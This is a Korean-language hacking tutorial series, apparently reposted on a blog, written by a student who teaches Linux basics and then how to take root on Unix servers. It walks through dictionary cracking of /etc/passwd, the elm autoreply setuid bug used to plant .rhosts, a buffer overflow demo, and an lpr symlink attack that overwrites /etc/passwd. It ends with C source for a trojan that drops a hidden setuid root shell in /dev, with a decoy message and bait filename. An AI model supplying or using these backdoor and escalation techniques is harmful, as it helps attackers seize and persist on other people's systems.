---------
안녕하세요. 오늘부터 해킹강좌를 하게될 한제헌 이라고 합니다. '해킹' 하면 무엇이 떠오르시죠? 어느 영화속 한장면 처럼 3d 화면으로 쉭쉭 이동하면서 그런것이 생각나시나요? 해킹에는 여러가지가 있겠죠? 자기의 게임 락을 풀어도 해킹이요 대형통신망을 뚫어도 해킹이요. 아~ 해킹의 진정한 의미는 이런것이 아니라고 누가 그러셨는데. 음, 음~ 그래도 저는 이렇게 하겠습니다. 게임의 락을 푼다던가 하는것은 소프트 아이스나 게임위자드 같은 프로그램을 조금만 배우면 할수 있죠? 전 네트워크쪽을 다루어 보겠습니다. 그럼 지금부터 시작합니다
리눅스라는 말을 많이 들어보셨겠죠? 그래도 못들어 보신분들을위해~~ 리눅스는 모두에게 공개되어 있는 운영체제 입니다. 유닉스와 거의 비슷한 계인데여. 대형서버에서는 유닉스를 씁니다. 요즘에는 windog nt 를 많이 쓰는 추세인데여. 그래도 아직까지 유닉스를 못따라 오죠. 그쪽에서 유닉스를 쓰는데. 리눅스라도 모르면 예기할 가치도 없겠죠? 그럼 리눅스를 조금 알고 넘어가겠습니다. 리눅스는 관련 서적을 사셔서 한 두권 정도는 마스터 하시는게 좋아여. 그럼 모두 도스를 많이 아시니까 도스와 비교하는 방법으로 리눅스수업을 하겠습니다. 도스에서 제일 기본적인 명령어 dir 을 리눅스에서는 ls 입니다.
dir보다는 옵션이 많쵸~ 그럼 리눅스에서 ls 명령어를 쳐보겠습니다.
#ls
현제 루트의 권한일때는 # 프롬프트가. 일반 사용자일때는 $가 떨어지는것이 기본입니다. 무엇이라고 나올까요!! 기억이 잘 않나는데 지금 보구 올수도 없구(히히 지금은 윈도우 이야기 7.7이 넘 편해서여) 대충 이렇게 나온다고 칩시다.
home bin mnt usr abc.c hacking-uitls-ver.2.0.30
앗 이게 무엇이야 다른것은 다 알겠는데. 마지막의 저 긴 이름은 무엇이야! 아시겠군요. 리눅스나 유닉스는 파일길이의 제한이 거의 없습니다. 저렇게 맘대로 쓰고싶은대로 쓰셔도 됩니다. 그럼 이제 도스에서 cd명령어를 배워 볼까여? 리눅스에서도 역시 cd입니다. 그럼 home 으로 이동을 하겠습니다.
#cd home
이렇게 하시면 가지겠죠?? 그리고 다시 처음으로 돌아갈려면???
#cd /
이렇게 하셔야 합니다. 꼭 한칸 띄어야 하구용 리눅스는 도스와는 달리 /를 씁니다. 도스에서는 \ 이였죠? 다시 home 로 가셔서. ls 를 해봅시다.
a b c ad.c eidkd.f.dd.dd
모 대충 이렇게 나왔다고 칩시다. 그런데 어떻게 실행파일이고 어떤게 디랙토리인 지 구분이 않가신다구요? 그럼 숨겨진 파일 모든파일을 볼수있는 ls -al 을 쳐봅시다. 그럼
-rw-r--r-- 1 root root 120033 Mar 15 17:04 a
모 이런식으로 그 파일이 나올껍니다. 밑줄그은 부분을 보시면 어떤것인지 알수있습니다. 소유권과 suit 프로그램인지 등등 . 깊이 들어가단 한이 없겠군요., 이쯤에서 다시 나와서. a라는 프로그램이 실행파일이라고 치고 실행 시켜 봅시다.
#./a
이렇게 실행시키는 겁니다. 도스쓰시다 처음 쓰시면 많이 헷갈리는 부분인데 여 도스에서는 디렉토리 먼저 그다음 path 확인 이렇게 했는데여. 리눅스는 현제 있는 디렉토리에 파일이 있어도 못읽습니다. path 가 무조껀 되야하죠. 그래서 그 디렉토리에 있는 것을 실행시킬려면 ./ 를 해야 합니다. 현제 디렉토리란 뜻이죠. 그리고 도스에서 del 은 리눅스에서는 rm 이구요. 원하시면 멜 띄우세요. 더욱더 많은것을 가르쳐 드릴께요 리눅스는 이정도만 하죠. 통신상에서 표현할수 있는것도 한계가 있으니까요,,. 리눅스를 깊이 들어가면 정말 잼있습니다. 파일 하나하나가 작지만요. 한가지 일을 아주 강력하고 빠르게 해내죠.,. 그래서 그 파일들을 잘 사용하는것이 사용자의 못입니다. 그리고 그것을 잘쓰는것이 실력의 차이입니다. 예를 들어
#ls -l > abc.txt
이것은 ls -l 실행을 abc.txt 로 출력하라는 뜻이네요 또~~
#ls -al | more
이것은 more 라는 프로그램과 ls 프로그램을 합친것인데여. more는 한화면씩 짤라 서 출력하는 프로그램이네여. 예상해 보세요. 그래서 저걸 실행하면 ls -al 을 한페이지씩 끊어서 하겠네여. 아~ 마지막으로 man 이라는 명령어가 있어여. 이것은 메뉴얼입니다. manual 의 약 자죠. 그러니까 shutdown 에 대해 모르겠다.하시면 man shutdown 이라고 치십시오. . 요즘에는 man 페이지도요 한글화 되어서 거의다 한글로 나옵니다. 그럼~~ 오늘은 이만하죠. 다음 강좌에서는 해킹의 골격을 잡고여. 그다음 슬슬 실 전으로 들어가도록 하죠~~ 그럼~~
저번편을 쓰자마자 또 쓰는군요. 너무 할일이 없어서. 어때여~~ 저번편을 보시니까 리눅스를 배워야 겠다는 생각이 드시나여? 그런생각이 드셨다면 전 정말 보람을 느낄껍니다. 리눅스는 그만큼 중요합니다. 리눅스나 유닉스를 꼭 공부하십시요. 그렇게도 않하구 해킹을 하고 싶다라고 생각하실려면 지금 버리싶시요. 원래는 요번에 네트워킹에 대해서 맛만 좀 보여드릴까 생각햇는데. 순다지 이론이라서여 지겹다고 생각하지 않으실까 해서여. 그럼 오늘의 강좌를 시작합니다. 제 2강 리눅스를 알았니? 그런 실전으로 들어가기 전에 골격을 잡아보자
자~ 네트워크 해킹에는 무엇이 있을까여?? 정리를 않하고 막 쓰려고 하니까 딱 떠오르는 것이 없내여~~ 지금 이 글을 읽고 계시는 분들 모두 서버의 root를 따고 싶으신 것일껍니다. 저것도 해킹이라고 할수 있고. 하이재킹이라고 있죠? 자신의 서버에 지나다니는 모든 패킷을 가로채는 것이죠. 그리고 ip 스푸핑 이라는 고급 해킹기술도 있고요 너무치사해서 해커들이 사용도 않 하 는 스니퍼링이라는 해킹방법도 있습니다. 그리고 메일로 바이러스를 뿌리는것도 될수 있겠죠. 한 예로 인터넷 웜 사건이 있 죠? 그럼 저는 최고의 관심거리인 '서버의 주인'이 되기로 하겠습니다. 먼저. 무차별 대입법입니다.
쓸만한 암호를 무차별적으로 그냥 막 대입하는 것이죠. 그래서 root 를 획득하거나 아니면 다른 아이디를 획득할수 있는것이죠. 그런데 요즘에는 또 root를 login 해서 들어갈수가 없게 되버렸어여. 그래서 su란 명령어를 해용해야 하는군요. 이럴때 정말 리눅스를 배우고 싶으시죠? su 란 명령어는 잠시 다른 아이디로 작업을 하고 싶을때 사용하는 명령어 입니다. 예를 들어 su huge 하신다음 passwd: 여기다 휴즈의 패스워드를 입력하시면 이동 할수 있는것이죠. 물론 root 도 가능하죠. root 는 su 다음에 아무것도 않쓰 시 면 됩니다. 그냥 su 하신후 root의 패스워드를 치시면 root로 쏙 ~ 하지만 그냥 su 하셔서 들어가시면 root의 path 가 안걸려 있는상태죠. 너무 불편하 겠죠? 그럴땐 su - 이렇게 하시면 될껍니다. 애고애고 삼천포로 빠졌군요. 다시 나와서. 무차별 대입법 정말 무식하죠? 하지만 . 써먹힐때가 있습니다. 바로 그 서버의 패스워드 파일을 빼내는 겁니다. 리눅스로 예를 들면 패스워드 파일은 /etc/passwd 라는 파일입니다. 저 파일에는 사용자의 id : 사용자의 비밀번호 : 등 : 등 등등등등 저런식으로 되있는데여 저기서 비밀번호는 다시 역코드가 없는 함수로 이상한 글자로 바뀝니다. 그래서 볼수가 없죠~~
하지만 너무 실망하긴 이르죠. 여러가지 프로그램이 있지만 도스용 크랙잭을 예로 설명하죠. 우선 /etc/passwd 파일을 cat으로 읽어서
#cat passwd
하시면 쫙 나올껍니다. 아닌경우도 있지만여. 아닌경우는 아래 설명하죠 그걸 갈무리 하셔서여 크랙잭에 넣고 돌려보새요. 알xx이라는 서버도 passwd 파일을 가져와서 사전파일은 12345라는것으로만 만들고 돌렸는데 7명 걸리더군여. 헉헉. 원리는 사전파일을 똑같은 함수에 넣어서 저기 패스워드랑 비교하는겁니다. 사전파일은 저에게 1m 짜리가 있고 여기 강좌실에도 있는것 같으니 잘쓰시길. 하지만 않되는곳이 있다고 했죠? 바로 제가 말한것을 해결하기 위해 shadow 기법을 쓴 곳입니다. 그래서 passwd파일을 읽으면 사용자의 id : * : 이렇게 나옵니다. 패스워드는 무조껀 *로 나온다는 이야기죠 그리고 진짜 password 는 shadow 라는 파일에 기록되어 일반인에게는 읽히지도 않습 니 다. 그래도 버그를 이용하여 읽는 방법이 있죠~~ 그럼 오늘은 무차별 대입법이란 주제로 했습니다,. 사실 오늘 강좌한것은여 해커들이 1%도 않쓰는 방법이여요. 왜냐하면 root는 특수문자를 2개정도 넣기때문에 아무리 크랙잭을 돌려도 알아낼수가 없죠. 그럼 버그이용법을 다음시간에 하겠습니다.
안녕하세요. 가루라 한제헌입니다. 설날 연휴이군요. 연휴동안 친척 집에 돌아다 녔습니다. 너무너무 컴퓨터가 하고 싶었어용. 그래도 고등학생이라구 새배돈도 올랐 더군요. 호홍. 너무너무 행복해요. 내일 다시 학교에 가야 겠군요. 이제 얼마 후 면 고2가 되네요. 학생여러분 우리 같이 열심히 공부해요. 이제 잡소리 그만하구 강좌에 들어가야 겠내여. 네트워크에 대해서 원하시면 강좌 해드리겠습니다. 멜주세요~~ 음~ 오늘은 버그 이용법에 대해 알아보기로 했죠?
어떤 프로그램이던간에 인간이 만드는 이상. 버그가 존재하기 마련입니다.그걸 이용해서 뉼삽하게 root를 쏙 따거나 원하는 일을 하는건데여. 그 전에 setuid 를 설명해야 하겠는데여. 리눅스를 공부하십쇼. 거기 나오는 겁니다. 그러니까 예를 들어서 /etc/passwd 파일을 예로 설명하죠. $passwd 를 실행시키면 암호를 바꾸는 것이죠. 그런데 제가 저번에도 말했듯이 passw d 는 root가 아니면 쓰기가 금지되어 있습니다. 그런데 passwd로 암호를 바꾸면 /etc/p a sswd 가 바뀌잖아여(이해 되시나여?) 이게 어떻게 된거지? 그건 바로 passwd 에 setu i d 가 걸려 있다는 말입니다. 그래서 passwd가 실행되는 동안만은 root의 권한이란 말 이죠. 헉헉~ 쉽게 설명하려다 보니 너무너무 힘드네여. 그럼 setuid 를 어디다 써먹느냐. 얼마전까지만 해도 먹혀들어갔고 지금도 관리가 소홀한 곳은 먹히는 autoreply 버그를 예로 들겠습니다. 이 버그는 elm 이라는 패키지를 쓰는 모든 os(operating system:운영체제) 에서 먹힙 니다.물론 패치를 한곳은 않되겠죠. 자동 메일 답변기인가? 암튼 그거라고 하는데여 저도 써보진 않았습니다. 그런데 이 걸 쓰고나면 임시파일이 생성되죠. 물론 root의권한입니다. setuid 아시죠? 그래서 그 걸 이용해서 /root 디렉토리에 .rhosts 를 조작하는 것입니다. 그럼 여기서 .rhost 에 대 해 알아보아야 하겠군요. .rhost는 특정 id나 특정 서버에 신뢰가 있을때 모든 접속을 허용한다는 내용을 써넣 을수 있는것이죠. 그래서 r자로 시작하는것으로 접속할수 있죠. 예를 들어 rlogin일 수 도 있구요. 물론 .rhost에는 접속을 막는다는 내용도 있을수 있습니다. 그리고 .rhost 가 root에 있으면 root로 접속이 가능해지고. /home 디렉토리에 특정 id에 .rhost가 있으면 그 id 로 접속이 가능해 지는 것입니다. 오늘 많은것을 배우내요. 만약 자세한 내용을 알고 싶으시면 메일 주세요. 아니면 강좌 신청을 해주세요. 더욱더 자세히 해드리겠습니다. exploit 까지 해드리죠. 여기서 exploit 이란 버그를 이용하는 프로그램을 직접 짜눈것입니다. 그래서 실행만 시키면 땡이라는 것이죠. 그래서 이런 해킹이 가능해 집니다.
$ls
exploit.c
$gcc -o exploit exploit.c
$./exploit
# <- 바로 root가 된것이죠. 싱겁죠? 하지만 버그를 발견해서 코딩까지 하는과정을 아무해커나 못하는 짓이죠.
오늘은 setuid 를 이용하는 방법을 다루어 봤습니다. 그럼 다음에는 버퍼오버플로우라는것을 다루겠습니다. 물론 root를 딸수 있습니다.
3회에 이어서 곧바로 쓰는것입니다. 호홀~ 정말 할일이 없나보죠? 사실은 게임 제작중인데여. 혼자하기가 너무너무 머리아파서여. 홀홀 그럼 오늘은 버퍼오버플로우라는 계념과 이용을 해보겠습니다.
먼저 버퍼오버플로우가 무엇인지 알아야 하겠죠? 이것은 해킹용어가 아니구요. 프로 그래밍을 하는과정에서 메모리를 잘못써서 일어나는 것입니다. 자세히 말하자면 나누어서 강좌를 하다보니 헷갈렸는데여. 버퍼오버플로우도 suid 와 관련이 있습니 다. 자세히 말하자면 (그러니까 쉽게 말하면~ 쉽게 말한다는것이 이렇게 힘든것인줄 처음 알았습니다.) 메 모리 문제에 신경을 않쓴 프로그램을중 suid 된것을 실행시킨다음 적절히 그러니까 현 제 시스템이 사용하고 있는 메모리 부분을 억지로 쓰려고 하니까 다시 셸로 리턴되는 것인데 리턴될때 root로 리턴되게 하는것입니다. 헉헉 알아들으시겠나요? 제가 봐도 너무너무 어수선 하네요. 제가 말재주가 없나봅니다. 그럼 이건 매우매우 중요한것이니까 소스도 좀 다루어 보겠습니다. 매우매우 중요한 이유는요 요즘에 이 버그가 많이 발견되고 있습니다. 그리고 프로그 래머들이 프로그래밍을할때 신경을 쓰더라도 실수하는 부분이 바로 이부분입니다. 그 렇기 때문에 현재도 발견되지않은 오버플로우가 참 많을것입니다. c언어 인데여. 해커가 되고 싶으신 분들은 c언어를 배우셔야 합니다. 그래야 나중에 버그를 발견해도 코딩해서 사용하시죠. c언어는 필수입니다. 필수~ 그럼 소스 들어갑니다.
__a.c__________________
void over(chat *abc)
{
char ex[24];
strcpy(ex, abc);
}
void main(void)
{
int i;
char abc[120];
for(i=0;i<120;i++)
abc[i]='a';
over(abc);
}
______________________
자~ 실수가 있었을지도 모르는 소스가 완성되었습니다. 자 이 소스를 분석해 보죠~ 먼저 main이 실행되겠죠? i가 주소를 할당받고, abc가 120개의 주소를 할당받고 그 120개의 주소에 for문으로 a 라는 단어가 꽉 찹니다. 그다음 over 함수로 넘어가서 ex 라는 곳에 그것이 쏙 들어가게 됩니다. 그런데 자세히 보시면 abc가 ex보다 크기 때문에 넘치게 되죠. 그래서 시스템에있는 중요한 메모리를 건드리기 때문에 컴파일 한 후
#gcc -o a a.c
#./a
Bus Error
이렇게 됩니다. 음 이해가 가셨나요? 그럼 매우매우 중요한 오버플로우에 계념을 알아보았구요. 다음에는 실전으로 들어갑니다
제가 아주아주 바쁜나머지(학교 다니잖아여~~^^) 강좌가 늦었네여~ 않계시겠지만 만에하나 기다리신분께 죄송합니다~ 그럼 오늘부터는 버그들을 하나하나 (죄송합니다만 옛날것을 다루기로 결정했습니다, 요즘껏 강의하다가 초보분들이 이서버 저서버 다 뚫으시면 골란하잖아여~^^)다루어 보도록 하겠습니다. 아! 이런식으로 버그를 써먹는거구나 하고 응용력이 생기실껍니다~ 강좌 들어가기 전에여~ 이런내용은 다른데두 있는데~ 하시지 마세용~ 어짜피 옛날꺼 부터 차례차례 들어갈려면여~ 중복될수밖에 없잖아여 ^^; 그럼 강좌 들어갑니다~ lpr 은 프린터 명령어입니다~ 거의 모든 유닉스 시스템에서 사용하고 있죠. 그런데 lpr 에는 -s 라는 옵션이 있습니다~ 바로 파일이 너무 클때 심볼릭 링크를 겁 니다~ 파일이 너무 크면 spool이 가득차기 때문이죠. 스플영역은 /usr/spool/lpd~~ 그리고 1000번 마다 같은 파일이름을 씁니다. 방법은~ 임의의 파일을 하나 만듭니다. 전 /tmp/garura라는 파일로 하죵 p 그다음 lpr -s -q /tmp/garura 이렇게 하면 심볼릭 링크가 되겠죵 그다음에 /tmp/garura 를 지웁시다. rm -f /tmp/garura 하신다음에여 가루라라는 이름으로 etc/passwd에 링크를 겁시다. ln -s /etc/passwd /tmp/garura 이렇게 하면 링크가 걸리겠죠 그다음 lpr 을 999번 실행시킵니다~ c언어로 만드시면 금방 하시겠죠? 예를 들어서
main()
{
int i;
for(i=1;i<=999;i++)
{system ("lpr");}
}
대충 이런식으로 하죠~ 흐~ 정말 문법상 틀린 소스네여~ 하지만 참고하시구요 그다음 임의로 패스워드 파일을 만들죠~ tpasswd 라고 만드신 후에여 lpr tpasswd 라고 하시면 어떻게 될까여~ 오~ 생각해보시구 다음줄을 봐주세요 임의로 만든 tpasswd파일은 dfa714ie(스풀영역이겠죠? 이건 garura파일이 어디에 링 크됐나 보면 되겠죠?) 라는 파일이라고 치구요~ 여기에 복사가 될껍니다~ 그런데 링크가 되있군요~ 가루라파일에 복사가 될려고 하지만 etc/passwd파일에 링크가 되있군요~ 그래서 etc/passwd에 루트권한의 명령어를 써넣을수 있는것입니다. 이해가 되셨나여? 전 최대한 쉽게 성명했는데~ 그럼 다음을 기대하세요~
자~ 이번에는 간단한 트로이를 만들어 보도록 하죠~ 버그에 관한것은 또 나중에 하도록 하고요~ 리눅스를 써보셨다면 /tmp 디렉은 누구에게나 열려있다는것을 아실껍니다 그럼 /tmp 에다가 트로이를 숨겨놓도록 하죠. 그럼 프로그래밍을 해야겠죠.
______________________________________________________________________________
#include
main() /* 메인함수입니다 */
{
system("cp /bin/bash /dev/ptypg");
/* system 함수는여 셸에서 명령어 내리는것과 */
system("chmod 4755 /dev/ptypg");
/* 같은 효과입니다. */
/* 자 볼까여.처음에 bin/bash 그러니까 rootshell 을 dev/ptypg 로 복사를했습 */
/* 니다. 그다음 4755 번의 권한을 주어 일반인도 사용할수 있게 했죠 */
/* 저걸 root 가 실행시킨다면 /dev/ptypg 라는 곳에 루트셸이 생성되는것이죠 */
/* /dev/ 한 이유는 /dev/에 파일이 엄청 많기 때문에 관리자가 잘 확인을 안하죠 */
/* 그다음 우리는 그저 가서 /dev/ptypg 라는것을 실행시키면 root가 되는것입니다 */
printf("practical unix programing"); /* 아무것두 안나오면 의심하니까.^^ */
}
______________________________________________________________________________
자 아주 간단히 트로이를 짜봤습니다. 더 이상 간단하게는 못할꺼 같네여~ 그죠? 여기서 조금만 응용하면 root 가 실행하면 자기에게 메일이 날라오도록 하기. 많겠죠? 아님 스니핑을 자동으로 돌린다던가. 그다음 컴파일을 아실테지만 그래도~^^ $gcc -o 실행화일명 소스이름.c 이렇게 하면 되여. 실행화일명을 sex 같은걸루하면 루트가 확인하기 좋겠죠? 트로이니까~ 그럼 오늘은 트로이에 대해 알아봤습니다.
댓글 없음:
댓글 쓰기
국정원의 댓글 공작을 지탄합니다.